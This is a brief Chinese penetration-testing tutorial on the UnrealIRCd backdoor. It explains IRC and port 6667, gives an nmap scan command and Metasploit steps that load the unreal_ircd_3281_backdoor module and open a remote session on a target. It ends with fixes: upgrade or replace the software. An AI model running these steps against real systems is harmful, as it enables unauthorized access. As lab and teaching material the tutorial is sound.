web渗透--irc后门利用

irc介绍

• IRC是Internet Relay Chat的英文缩写，中文称为互联网中继聊天，是一种网络聊天协议。
• 端口号默认的是6667号端口

探测irc

• nmap -sV 目标IP地址 -p 端口号

msf利用irc后门

• 使用searchsploit查看可以利用的POC
• msfconsole
• use exploit/unix/irc/unreal_ircd_3281_backdoor
• show options
• set rhosts 目标IP地址
• run
• sessions -l
• sessions -i

修复

• 升级软件版本
• 更换软件